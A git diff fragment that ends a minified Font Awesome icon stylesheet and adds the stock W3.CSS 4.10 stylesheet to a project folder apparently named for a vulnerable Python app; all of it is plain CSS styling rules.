:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f26b"}.fa-tv:before,.fa-television:before{content:"\f26c"}.fa-contao:before{content:"\f26d"}.fa-500px:before{content:"\f26e"}.fa-amazon:before{content:"\f270"}.fa-calendar-plus-o:before{content:"\f271"}.fa-calendar-minus-o:before{content:"\f272"}.fa-calendar-times-o:before{content:"\f273"}.fa-calendar-check-o:before{content:"\f274"}.fa-industry:before{content:"\f275"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-map-o:before{content:"\f278"}.fa-map:before{content:"\f279"}.fa-commenting:before{content:"\f27a"}.fa-commenting-o:before{content:"\f27b"}.fa-houzz:before{content:"\f27c"}.fa-vimeo:before{content:"\f27d"}.fa-black-tie:before{content:"\f27e"}.fa-fonticons:before{content:"\f280"}.fa-reddit-alien:before{content:"\f281"}.fa-edge:before{content:"\f282"}.fa-credit-card-alt:before{content:"\f283"}.fa-codiepie:before{content:"\f284"}.fa-modx:before{content:"\f285"}.fa-fort-awesome:before{content:"\f286"}.fa-usb:before{content:"\f287"}.fa-product-hunt:before{content:"\f288"}.fa-mixcloud:before{content:"\f289"}.fa-scribd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:before{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-hashtag:before{content:"\f292"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-percent:before{content:"\f295"}.fa-gitlab:before{content:"\f296"}.fa-wpbeginner:before{content:"\f297"}.fa-wpforms:before{content:"\f298"}.fa-envira:before{content:"\f299"}.fa-universal-access:before{content:"\f29a"}.fa-wheelchair-alt:before{content:"\f29b"}.fa-question-circle-o:before{content:"\f29c"}.fa-blind:before{content:"\f29d"}.fa-audio-description:before{content:"\f29e"}.fa-volume-control-phone:before{content:"\f2a0"}.fa-braille:before{content:"\f2a1"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:"\f2a4"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-signing:before,.fa-sign-language:before{content:"\f2a7"}.fa-low-vision:before{content:"\f2a8"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:before{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"\f2b2"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:"\f2b3"}.fa-fa:before,.fa-font-awesome:before{content:"\f2b4"}.fa-handshake-o:before{content:"\f2b5"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-o:before{content:"\f2b7"}.fa-linode:before{content:"\f2b8"}.fa-address-book:before{content:"\f2b9"}.fa-address-book-o:before{content:"\f2ba"}.fa-vcard:before,.fa-address-card:before{content:"\f2bb"}.fa-vcard-o:before,.fa-address-card-o:before{content:"\f2bc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-circle-o:before{content:"\f2be"}.fa-user-o:before{content:"\f2c0"}.fa-id-badge:before{content:"\f2c1"}.fa-drivers-license:before,.fa-id-card:before{content:"\f2c2"}.fa-drivers-license-o:before,.fa-id-card-o:before{content:"\f2c3"}.fa-quora:before{content:"\f2c4"}.fa-free-code-camp:before{content:"\f2c5"}.fa-telegram:before{content:"\f2c6"}.fa-thermometer-4:before,.fa-thermometer:before,.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-3:before,.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-thermometer-2:before,.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-1:before,.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-0:before,.fa-thermometer-empty:before{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-podcast:before{content:"\f2ce"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-times-rectangle:before,.fa-window-close:before{content:"\f2d3"}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:"\f2d4"}.fa-bandcamp:before{content:"\f2d5"}.fa-grav:before{content:"\f2d6"}.fa-etsy:before{content:"\f2d7"}.fa-imdb:before{content:"\f2d8"}.fa-ravelry:before{content:"\f2d9"}.fa-eercast:before{content:"\f2da"}.fa-microchip:before{content:"\f2db"}.fa-snowflake-o:before{content:"\f2dc"}.fa-superpowers:before{content:"\f2dd"}.fa-wpexplorer:before{content:"\f2de"}.fa-meetup:before{content:"\f2e0"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}
diff --git a/vulpython/bad/static/w3.css b/vulpython/bad/static/w3.css
new file mode 100644
index 0000000..c95485a
--- /dev/null
+++ b/vulpython/bad/static/w3.css
@@ -0,0 +1,231 @@
+/* W3.CSS 4.10 February 2018 by Jan Egil and Borge Refsnes */
+html{box-sizing:border-box}*,*:before,*:after{box-sizing:inherit}
+/* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */
+html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}
+article,aside,details,figcaption,figure,footer,header,main,menu,nav,section,summary{display:block}
+audio,canvas,progress,video{display:inline-block}progress{vertical-align:baseline}
+audio:not([controls]){display:none;height:0}[hidden],template{display:none}
+a{background-color:transparent;-webkit-text-decoration-skip:objects}
+a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}
+dfn{font-style:italic}mark{background:#ff0;color:#000}
+small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}
+sub{bottom:-0.25em}sup{top:-0.5em}figure{margin:1em 40px}img{border-style:none}svg:not(:root){overflow:hidden}
+code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}hr{box-sizing:content-box;height:0;overflow:visible}
+button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:bold}
+button,input{overflow:visible}button,select{text-transform:none}
+button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}
+button::-moz-focus-inner, [type=button]::-moz-focus-inner, [type=reset]::-moz-focus-inner, [type=submit]::-moz-focus-inner{border-style:none;padding:0}
+button:-moz-focusring, [type=button]:-moz-focusring, [type=reset]:-moz-focusring, [type=submit]:-moz-focusring{outline:1px dotted ButtonText}
+fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em}
+legend{color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}
+[type=checkbox],[type=radio]{padding:0}
+[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}
+[type=search]{-webkit-appearance:textfield;outline-offset:-2px}
+[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}
+::-webkit-input-placeholder{color:inherit;opacity:0.54}
+::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}
+/* End extract */
+html,body{font-family:Verdana,sans-serif;font-size:15px;line-height:1.5}html{overflow-x:hidden}
+h1{font-size:36px}h2{font-size:30px}h3{font-size:24px}h4{font-size:20px}h5{font-size:18px}h6{font-size:16px}.w3-serif{font-family:serif}
+h1,h2,h3,h4,h5,h6{font-family:"Segoe UI",Arial,sans-serif;font-weight:400;margin:10px 0}.w3-wide{letter-spacing:4px}
+hr{border:0;border-top:1px solid #eee;margin:20px 0}
+.w3-image{max-width:100%;height:auto}img{vertical-align:middle}a{color:inherit}
+.w3-table,.w3-table-all{border-collapse:collapse;border-spacing:0;width:100%;display:table}.w3-table-all{border:1px solid #ccc}
+.w3-bordered tr,.w3-table-all tr{border-bottom:1px solid #ddd}.w3-striped tbody tr:nth-child(even){background-color:#f1f1f1}
+.w3-table-all tr:nth-child(odd){background-color:#fff}.w3-table-all tr:nth-child(even){background-color:#f1f1f1}
+.w3-hoverable tbody tr:hover,.w3-ul.w3-hoverable li:hover{background-color:#ccc}.w3-centered tr th,.w3-centered tr td{text-align:center}
+.w3-table td,.w3-table th,.w3-table-all td,.w3-table-all th{padding:8px 8px;display:table-cell;text-align:left;vertical-align:top}
+.w3-table th:first-child,.w3-table td:first-child,.w3-table-all th:first-child,.w3-table-all td:first-child{padding-left:16px}
+.w3-btn,.w3-button{border:none;display:inline-block;padding:8px 16px;vertical-align:middle;overflow:hidden;text-decoration:none;color:inherit;background-color:inherit;text-align:center;cursor:pointer;white-space:nowrap}
+.w3-btn:hover{box-shadow:0 8px 16px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19)}
+.w3-btn,.w3-button{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}
+.w3-disabled,.w3-btn:disabled,.w3-button:disabled{cursor:not-allowed;opacity:0.3}.w3-disabled *,:disabled *{pointer-events:none}
+.w3-btn.w3-disabled:hover,.w3-btn:disabled:hover{box-shadow:none}
+.w3-badge,.w3-tag{background-color:#000;color:#fff;display:inline-block;padding-left:8px;padding-right:8px;text-align:center}.w3-badge{border-radius:50%}
+.w3-ul{list-style-type:none;padding:0;margin:0}.w3-ul li{padding:8px 16px;border-bottom:1px solid #ddd}.w3-ul li:last-child{border-bottom:none}
+.w3-tooltip,.w3-display-container{position:relative}.w3-tooltip .w3-text{display:none}.w3-tooltip:hover .w3-text{display:inline-block}
+.w3-ripple:active{opacity:0.5}.w3-ripple{transition:opacity 0s}
+.w3-input{padding:8px;display:block;border:none;border-bottom:1px solid #ccc;width:100%}
+.w3-select{padding:9px 0;width:100%;border:none;border-bottom:1px solid #ccc}
+.w3-dropdown-click,.w3-dropdown-hover{position:relative;display:inline-block;cursor:pointer}
+.w3-dropdown-hover:hover .w3-dropdown-content{display:block}
+.w3-dropdown-hover:first-child,.w3-dropdown-click:hover{background-color:#ccc;color:#000}
+.w3-dropdown-hover:hover > .w3-button:first-child,.w3-dropdown-click:hover > .w3-button:first-child{background-color:#ccc;color:#000}
+.w3-dropdown-content{cursor:auto;color:#000;background-color:#fff;display:none;position:absolute;min-width:160px;margin:0;padding:0;z-index:1}
+.w3-check,.w3-radio{width:24px;height:24px;position:relative;top:6px}
+.w3-sidebar{height:100%;width:200px;background-color:#fff;position:fixed!important;z-index:1;overflow:auto}
+.w3-bar-block .w3-dropdown-hover,.w3-bar-block .w3-dropdown-click{width:100%}
+.w3-bar-block .w3-dropdown-hover .w3-dropdown-content,.w3-bar-block .w3-dropdown-click .w3-dropdown-content{min-width:100%}
+.w3-bar-block .w3-dropdown-hover .w3-button,.w3-bar-block .w3-dropdown-click .w3-button{width:100%;text-align:left;padding:8px 16px}
+.w3-main,#main{transition:margin-left .4s}
+.w3-modal{z-index:3;display:none;padding-top:100px;position:fixed;left:0;top:0;width:100%;height:100%;overflow:auto;background-color:rgb(0,0,0);background-color:rgba(0,0,0,0.4)}
+.w3-modal-content{margin:auto;background-color:#fff;position:relative;padding:0;outline:0;width:600px}
+.w3-bar{width:100%;overflow:hidden}.w3-center .w3-bar{display:inline-block;width:auto}
+.w3-bar .w3-bar-item{padding:8px 16px;float:left;width:auto;border:none;display:block;outline:0}
+.w3-bar .w3-dropdown-hover,.w3-bar .w3-dropdown-click{position:static;float:left}
+.w3-bar .w3-button{white-space:normal}
+.w3-bar-block .w3-bar-item{width:100%;display:block;padding:8px 16px;text-align:left;border:none;white-space:normal;float:none;outline:0}
+.w3-bar-block.w3-center .w3-bar-item{text-align:center}.w3-block{display:block;width:100%}
+.w3-responsive{display:block;overflow-x:auto}
+.w3-container:after,.w3-container:before,.w3-panel:after,.w3-panel:before,.w3-row:after,.w3-row:before,.w3-row-padding:after,.w3-row-padding:before,
+.w3-cell-row:before,.w3-cell-row:after,.w3-clear:after,.w3-clear:before,.w3-bar:before,.w3-bar:after{content:"";display:table;clear:both}
+.w3-col,.w3-half,.w3-third,.w3-twothird,.w3-threequarter,.w3-quarter{float:left;width:100%}
+.w3-col.s1{width:8.33333%}.w3-col.s2{width:16.66666%}.w3-col.s3{width:24.99999%}.w3-col.s4{width:33.33333%}
+.w3-col.s5{width:41.66666%}.w3-col.s6{width:49.99999%}.w3-col.s7{width:58.33333%}.w3-col.s8{width:66.66666%}
+.w3-col.s9{width:74.99999%}.w3-col.s10{width:83.33333%}.w3-col.s11{width:91.66666%}.w3-col.s12{width:99.99999%}
+@media (min-width:601px){.w3-col.m1{width:8.33333%}.w3-col.m2{width:16.66666%}.w3-col.m3,.w3-quarter{width:24.99999%}.w3-col.m4,.w3-third{width:33.33333%}
+.w3-col.m5{width:41.66666%}.w3-col.m6,.w3-half{width:49.99999%}.w3-col.m7{width:58.33333%}.w3-col.m8,.w3-twothird{width:66.66666%}
+.w3-col.m9,.w3-threequarter{width:74.99999%}.w3-col.m10{width:83.33333%}.w3-col.m11{width:91.66666%}.w3-col.m12{width:99.99999%}}
+@media (min-width:993px){.w3-col.l1{width:8.33333%}.w3-col.l2{width:16.66666%}.w3-col.l3{width:24.99999%}.w3-col.l4{width:33.33333%}
+.w3-col.l5{width:41.66666%}.w3-col.l6{width:49.99999%}.w3-col.l7{width:58.33333%}.w3-col.l8{width:66.66666%}
+.w3-col.l9{width:74.99999%}.w3-col.l10{width:83.33333%}.w3-col.l11{width:91.66666%}.w3-col.l12{width:99.99999%}}
+.w3-content{max-width:980px;margin:auto}.w3-rest{overflow:hidden}
+.w3-cell-row{display:table;width:100%}.w3-cell{display:table-cell}
+.w3-cell-top{vertical-align:top}.w3-cell-middle{vertical-align:middle}.w3-cell-bottom{vertical-align:bottom}
+.w3-hide{display:none!important}.w3-show-block,.w3-show{display:block!important}.w3-show-inline-block{display:inline-block!important}
+@media (max-width:600px){.w3-modal-content{margin:0 10px;width:auto!important}.w3-modal{padding-top:30px}
+.w3-dropdown-hover.w3-mobile .w3-dropdown-content,.w3-dropdown-click.w3-mobile .w3-dropdown-content{position:relative}
+.w3-hide-small{display:none!important}.w3-mobile{display:block;width:100%!important}.w3-bar-item.w3-mobile,.w3-dropdown-hover.w3-mobile,.w3-dropdown-click.w3-mobile{text-align:center}
+.w3-dropdown-hover.w3-mobile,.w3-dropdown-hover.w3-mobile .w3-btn,.w3-dropdown-hover.w3-mobile .w3-button,.w3-dropdown-click.w3-mobile,.w3-dropdown-click.w3-mobile .w3-btn,.w3-dropdown-click.w3-mobile .w3-button{width:100%}}
+@media (max-width:768px){.w3-modal-content{width:500px}.w3-modal{padding-top:50px}}
+@media (min-width:993px){.w3-modal-content{width:900px}.w3-hide-large{display:none!important}.w3-sidebar.w3-collapse{display:block!important}}
+@media (max-width:992px) and (min-width:601px){.w3-hide-medium{display:none!important}}
+@media (max-width:992px){.w3-sidebar.w3-collapse{display:none}.w3-main{margin-left:0!important;margin-right:0!important}}
+.w3-top,.w3-bottom{position:fixed;width:100%;z-index:1}.w3-top{top:0}.w3-bottom{bottom:0}
+.w3-overlay{position:fixed;display:none;width:100%;height:100%;top:0;left:0;right:0;bottom:0;background-color:rgba(0,0,0,0.5);z-index:2}
+.w3-display-topleft{position:absolute;left:0;top:0}.w3-display-topright{position:absolute;right:0;top:0}
+.w3-display-bottomleft{position:absolute;left:0;bottom:0}.w3-display-bottomright{position:absolute;right:0;bottom:0}
+.w3-display-middle{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);-ms-transform:translate(-50%,-50%)}
+.w3-display-left{position:absolute;top:50%;left:0%;transform:translate(0%,-50%);-ms-transform:translate(-0%,-50%)}
+.w3-display-right{position:absolute;top:50%;right:0%;transform:translate(0%,-50%);-ms-transform:translate(0%,-50%)}
+.w3-display-topmiddle{position:absolute;left:50%;top:0;transform:translate(-50%,0%);-ms-transform:translate(-50%,0%)}
+.w3-display-bottommiddle{position:absolute;left:50%;bottom:0;transform:translate(-50%,0%);-ms-transform:translate(-50%,0%)}
+.w3-display-container:hover .w3-display-hover{display:block}.w3-display-container:hover span.w3-display-hover{display:inline-block}.w3-display-hover{display:none}
+.w3-display-position{position:absolute}
+.w3-circle{border-radius:50%}
+.w3-round-small{border-radius:2px}.w3-round,.w3-round-medium{border-radius:4px}.w3-round-large{border-radius:8px}.w3-round-xlarge{border-radius:16px}.w3-round-xxlarge{border-radius:32px}
+.w3-row-padding,.w3-row-padding>.w3-half,.w3-row-padding>.w3-third,.w3-row-padding>.w3-twothird,.w3-row-padding>.w3-threequarter,.w3-row-padding>.w3-quarter,.w3-row-padding>.w3-col{padding:0 8px}
+.w3-container,.w3-panel{padding:0.01em 16px}.w3-panel{margin-top:16px;margin-bottom:16px}
+.w3-code,.w3-codespan{font-family:Consolas,"courier new";font-size:16px}
+.w3-code{width:auto;background-color:#fff;padding:8px 12px;border-left:4px solid #4CAF50;word-wrap:break-word}
+.w3-codespan{color:crimson;background-color:#f1f1f1;padding-left:4px;padding-right:4px;font-size:110%}
+.w3-card,.w3-card-2{box-shadow:0 2px 5px 0 rgba(0,0,0,0.16),0 2px 10px 0 rgba(0,0,0,0.12)}
+.w3-card-4,.w3-hover-shadow:hover{box-shadow:0 4px 10px 0 rgba(0,0,0,0.2),0 4px 20px 0 rgba(0,0,0,0.19)}
+.w3-spin{animation:w3-spin 2s infinite linear}@keyframes w3-spin{0%{transform:rotate(0deg)}100%{transform:rotate(359deg)}}
+.w3-animate-fading{animation:fading 10s infinite}@keyframes fading{0%{opacity:0}50%{opacity:1}100%{opacity:0}}
+.w3-animate-opacity{animation:opac 0.8s}@keyframes opac{from{opacity:0} to{opacity:1}}
+.w3-animate-top{position:relative;animation:animatetop 0.4s}@keyframes animatetop{from{top:-300px;opacity:0} to{top:0;opacity:1}}
+.w3-animate-left{position:relative;animation:animateleft 0.4s}@keyframes animateleft{from{left:-300px;opacity:0} to{left:0;opacity:1}}
+.w3-animate-right{position:relative;animation:animateright 0.4s}@keyframes animateright{from{right:-300px;opacity:0} to{right:0;opacity:1}}
+.w3-animate-bottom{position:relative;animation:animatebottom 0.4s}@keyframes animatebottom{from{bottom:-300px;opacity:0} to{bottom:0;opacity:1}}
+.w3-animate-zoom {animation:animatezoom 0.6s}@keyframes animatezoom{from{transform:scale(0)} to{transform:scale(1)}}
+.w3-animate-input{transition:width 0.4s ease-in-out}.w3-animate-input:focus{width:100%!important}
+.w3-opacity,.w3-hover-opacity:hover{opacity:0.60}.w3-opacity-off,.w3-hover-opacity-off:hover{opacity:1}
+.w3-opacity-max{opacity:0.25}.w3-opacity-min{opacity:0.75}
+.w3-greyscale-max,.w3-grayscale-max,.w3-hover-greyscale:hover,.w3-hover-grayscale:hover{filter:grayscale(100%)}
+.w3-greyscale,.w3-grayscale{filter:grayscale(75%)}.w3-greyscale-min,.w3-grayscale-min{filter:grayscale(50%)}
+.w3-sepia{filter:sepia(75%)}.w3-sepia-max,.w3-hover-sepia:hover{filter:sepia(100%)}.w3-sepia-min{filter:sepia(50%)}
+.w3-tiny{font-size:10px!important}.w3-small{font-size:12px!important}.w3-medium{font-size:15px!important}.w3-large{font-size:18px!important}
+.w3-xlarge{font-size:24px!important}.w3-xxlarge{font-size:36px!important}.w3-xxxlarge{font-size:48px!important}.w3-jumbo{font-size:64px!important}
+.w3-left-align{text-align:left!important}.w3-right-align{text-align:right!important}.w3-justify{text-align:justify!important}.w3-center{text-align:center!important}
+.w3-border-0{border:0!important}.w3-border{border:1px solid #ccc!important}
+.w3-border-top{border-top:1px solid #ccc!important}.w3-border-bottom{border-bottom:1px solid #ccc!important}
+.w3-border-left{border-left:1px solid #ccc!important}.w3-border-right{border-right:1px solid #ccc!important}
+.w3-topbar{border-top:6px solid #ccc!important}.w3-bottombar{border-bottom:6px solid #ccc!important}
+.w3-leftbar{border-left:6px solid #ccc!important}.w3-rightbar{border-right:6px solid #ccc!important}
+.w3-section,.w3-code{margin-top:16px!important;margin-bottom:16px!important}
+.w3-margin{margin:16px!important}.w3-margin-top{margin-top:16px!important}.w3-margin-bottom{margin-bottom:16px!important}
+.w3-margin-left{margin-left:16px!important}.w3-margin-right{margin-right:16px!important}
+.w3-padding-small{padding:4px 8px!important}.w3-padding{padding:8px 16px!important}.w3-padding-large{padding:12px 24px!important}
+.w3-padding-16{padding-top:16px!important;padding-bottom:16px!important}.w3-padding-24{padding-top:24px!important;padding-bottom:24px!important}
+.w3-padding-32{padding-top:32px!important;padding-bottom:32px!important}.w3-padding-48{padding-top:48px!important;padding-bottom:48px!important}
+.w3-padding-64{padding-top:64px!important;padding-bottom:64px!important}
+.w3-left{float:left!important}.w3-right{float:right!important}
+.w3-button:hover{color:#000!important;background-color:#ccc!important}
+.w3-transparent,.w3-hover-none:hover{background-color:transparent!important}
+.w3-hover-none:hover{box-shadow:none!important}
+/* Colors */
+.w3-amber,.w3-hover-amber:hover{color:#000!important;background-color:#ffc107!important}
+.w3-aqua,.w3-hover-aqua:hover{color:#000!important;background-color:#00ffff!important}
+.w3-blue,.w3-hover-blue:hover{color:#fff!important;background-color:#2196F3!important}
+.w3-light-blue,.w3-hover-light-blue:hover{color:#000!important;background-color:#87CEEB!important}
+.w3-brown,.w3-hover-brown:hover{color:#fff!important;background-color:#795548!important}
+.w3-cyan,.w3-hover-cyan:hover{color:#000!important;background-color:#00bcd4!important}
+.w3-blue-grey,.w3-hover-blue-grey:hover,.w3-blue-gray,.w3-hover-blue-gray:hover{color:#fff!important;background-color:#607d8b!important}
+.w3-green,.w3-hover-green:hover{color:#fff!important;background-color:#4CAF50!important}
+.w3-light-green,.w3-hover-light-green:hover{color:#000!important;background-color:#8bc34a!important}
+.w3-indigo,.w3-hover-indigo:hover{color:#fff!important;background-color:#3f51b5!important}
+.w3-khaki,.w3-hover-khaki:hover{color:#000!important;background-color:#f0e68c!important}
+.w3-lime,.w3-hover-lime:hover{color:#000!important;background-color:#cddc39!important}
+.w3-orange,.w3-hover-orange:hover{color:#000!important;background-color:#ff9800!important}
+.w3-deep-orange,.w3-hover-deep-orange:hover{color:#fff!important;background-color:#ff5722!important}
+.w3-pink,.w3-hover-pink:hover{color:#fff!important;background-color:#e91e63!important}
+.w3-purple,.w3-hover-purple:hover{color:#fff!important;background-color:#9c27b0!important}
+.w3-deep-purple,.w3-hover-deep-purple:hover{color:#fff!important;background-color:#673ab7!important}
+.w3-red,.w3-hover-red:hover{color:#fff!important;background-color:#f44336!important}
+.w3-sand,.w3-hover-sand:hover{color:#000!important;background-color:#fdf5e6!important}
+.w3-teal,.w3-hover-teal:hover{color:#fff!important;background-color:#009688!important}
+.w3-yellow,.w3-hover-yellow:hover{color:#000!important;background-color:#ffeb3b!important}
+.w3-white,.w3-hover-white:hover{color:#000!important;background-color:#fff!important}
+.w3-black,.w3-hover-black:hover{color:#fff!important;background-color:#000!important}
+.w3-grey,.w3-hover-grey:hover,.w3-gray,.w3-hover-gray:hover{color:#000!important;background-color:#9e9e9e!important}
+.w3-light-grey,.w3-hover-light-grey:hover,.w3-light-gray,.w3-hover-light-gray:hover{color:#000!important;background-color:#f1f1f1!important}
+.w3-dark-grey,.w3-hover-dark-grey:hover,.w3-dark-gray,.w3-hover-dark-gray:hover{color:#fff!important;background-color:#616161!important}
+.w3-pale-red,.w3-hover-pale-red:hover{color:#000!important;background-color:#ffdddd!important}
+.w3-pale-green,.w3-hover-pale-green:hover{color:#000!important;background-color:#ddffdd!important}
+.w3-pale-yellow,.w3-hover-pale-yellow:hover{color:#000!important;background-color:#ffffcc!important}
+.w3-pale-blue,.w3-hover-pale-blue:hover{color:#000!important;background-color:#ddffff!important}
+.w3-text-amber,.w3-hover-text-amber:hover{color:#ffc107!important}
+.w3-text-aqua,.w3-hover-text-aqua:hover{color:#00ffff!important}
+.w3-text-blue,.w3-hover-text-blue:hover{color:#2196F3!important}
+.w3-text-light-blue,.w3-hover-text-light-blue:hover{color:#87CEEB!important}
+.w3-text-brown,.w3-hover-text-brown:hover{color:#795548!important}
+.w3-text-cyan,.w3-hover-text-cyan:hover{color:#00bcd4!important}
+.w3-text-blue-grey,.w3-hover-text-blue-grey:hover,.w3-text-blue-gray,.w3-hover-text-blue-gray:hover{color:#607d8b!important}
+.w3-text-green,.w3-hover-text-green:hover{color:#4CAF50!important}
+.w3-text-light-green,.w3-hover-text-light-green:hover{color:#8bc34a!important}
+.w3-text-indigo,.w3-hover-text-indigo:hover{color:#3f51b5!important}
+.w3-text-khaki,.w3-hover-text-khaki:hover{color:#b4aa50!important}
+.w3-text-lime,.w3-hover-text-lime:hover{color:#cddc39!important}
+.w3-text-orange,.w3-hover-text-orange:hover{color:#ff9800!important}
+.w3-text-deep-orange,.w3-hover-text-deep-orange:hover{color:#ff5722!important}
+.w3-text-pink,.w3-hover-text-pink:hover{color:#e91e63!important}
+.w3-text-purple,.w3-hover-text-purple:hover{color:#9c27b0!important}
+.w3-text-deep-purple,.w3-hover-text-deep-purple:hover{color:#673ab7!important}
+.w3-text-red,.w3-hover-text-red:hover{color:#f44336!important}
+.w3-text-sand,.w3-hover-text-sand:hover{color:#fdf5e6!important}
+.w3-text-teal,.w3-hover-text-teal:hover{color:#009688!important}
+.w3-text-yellow,.w3-hover-text-yellow:hover{color:#d2be0e!important}
+.w3-text-white,.w3-hover-text-white:hover{color:#fff!important}
+.w3-text-black,.w3-hover-text-black:hover{color:#000!important}
+.w3-text-grey,.w3-hover-text-grey:hover,.w3-text-gray,.w3-hover-text-gray:hover{color:#757575!important}
+.w3-text-light-grey,.w3-hover-text-light-grey:hover,.w3-text-light-gray,.w3-hover-text-light-gray:hover{color:#f1f1f1!important}
+.w3-text-dark-grey,.w3-hover-text-dark-grey:hover,.w3-text-dark-gray,.w3-hover-text-dark-gray:hover{color:#3a3a3a!important}
+.w3-border-amber,.w3-hover-border-amber:hover{border-color:#ffc107!important}
+.w3-border-aqua,.w3-hover-border-aqua:hover{border-color:#00ffff!important}
+.w3-border-blue,.w3-hover-border-blue:hover{border-color:#2196F3!important}
+.w3-border-light-blue,.w3-hover-border-light-blue:hover{border-color:#87CEEB!important}
+.w3-border-brown,.w3-hover-border-brown:hover{border-color:#795548!important}
+.w3-border-cyan,.w3-hover-border-cyan:hover{border-color:#00bcd4!important}
+.w3-border-blue-grey,.w3-hover-border-blue-grey:hover,.w3-border-blue-gray,.w3-hover-border-blue-gray:hover{border-color:#607d8b!important}
+.w3-border-green,.w3-hover-border-green:hover{border-color:#4CAF50!important}
+.w3-border-light-green,.w3-hover-border-light-green:hover{border-color:#8bc34a!important}
+.w3-border-indigo,.w3-hover-border-indigo:hover{border-color:#3f51b5!important}
+.w3-border-khaki,.w3-hover-border-khaki:hover{border-color:#f0e68c!important}
+.w3-border-lime,.w3-hover-border-lime:hover{border-color:#cddc39!important}
+.w3-border-orange,.w3-hover-border-orange:hover{border-color:#ff9800!important}
+.w3-border-deep-orange,.w3-hover-border-deep-orange:hover{border-color:#ff5722!important}
+.w3-border-pink,.w3-hover-border-pink:hover{border-color:#e91e63!important}
+.w3-border-purple,.w3-hover-border-purple:hover{border-color:#9c27b0!important}
+.w3-border-deep-purple,.w3-hover-border-deep-purple:hover{border-color:#673ab7!important}
+.w3-border-red,.w3-hover-border-red:hover{border-color:#f44336!important}
+.w3-border-sand,.w3-hover-border-sand:hover{border-color:#fdf5e6!important}
+.w3-border-teal,.w3-hover-border-teal:hover{border-color:#009688!important}
+.w3-border-yellow,.w3-hover-border-yellow:hover{border-color:#ffeb3b!important}
+.w3-border-white,.w3-hover-border-white:hover{border-color:#fff!important}
+.w3-border-black,.w3-hover-border-black:hover{border-color:#000!important}
+.w3-border-grey,.w3-hover-border-grey:hover,.w3-border-gray,.w3-hover-border-gray:hover{border-color:#9e9e9e!important}
+.w3-border-light-grey,.w3-hover-border-light-grey:hover,.w3-border-light-gray,.w3-hover-border-light-gray:hover{border-color:#f1f1f1!important}
